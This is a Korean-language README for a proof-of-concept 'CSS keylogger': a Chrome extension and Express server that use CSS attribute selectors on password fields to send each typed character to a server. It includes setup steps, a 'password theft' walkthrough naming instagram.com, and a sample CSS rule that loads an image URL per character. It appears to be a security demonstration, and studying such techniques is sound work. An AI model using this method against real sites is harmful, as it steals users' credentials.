CSS 키로거

CSS의 키로깅 기능을 악용하는 Chrome 확장 프로그램 및 Express 서버입니다.

사용 방법

Chrome 확장 프로그램 설정

1. 저장소 다운로드 git clone https://github.com/maxchehab/CSS-Keylogging
2. 브라우저에서 chrome://extensions 방문 (또는 Chrome 메뉴를 열어 더 많은 도구 > 확장 프로그램 선택)
3. 우측 상단의 개발자 모드 체크박스가 체크되어 있는지 확인
4. '압축해제된 확장 프로그램 로드' 클릭하여 파일 선택 대화상자 열기
5. 다운로드한 저장소 디렉토리에서 css-keylogger-extension 폴더 선택

Express 서버 설정

1. yarn
2. yarn start

마스터 해킹: 비밀번호 탈취

1. React와 같은 제어 컴포넌트 프레임워크를 사용하는 웹사이트 열기. https://instagram.com
2. 웹페이지 오른쪽 상단의 확장 프로그램 아이콘 C 클릭
3. 비밀번호 입력
4. 비밀번호가 Express 서버에 캡처됩니다.

작동 원리

이 공격은 매우 단순합니다. CSS 속성 선택자를 활용하여 background-image를 로드하는 것처럼 외부 서버에 리소스를 요청합니다.

예를 들어, 다음 CSS는 type이 password이고 value가 a로 끝나는 모든 input을 선택합니다. 그런 다음 http://localhost:3000/a에서 이미지를 로드하려고 시도합니다.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

간단한 스크립트를 사용하여 모든 ASCII 문자에 대해 사용자 정의 요청을 보내는 css 파일을 생성할 수 있습니다.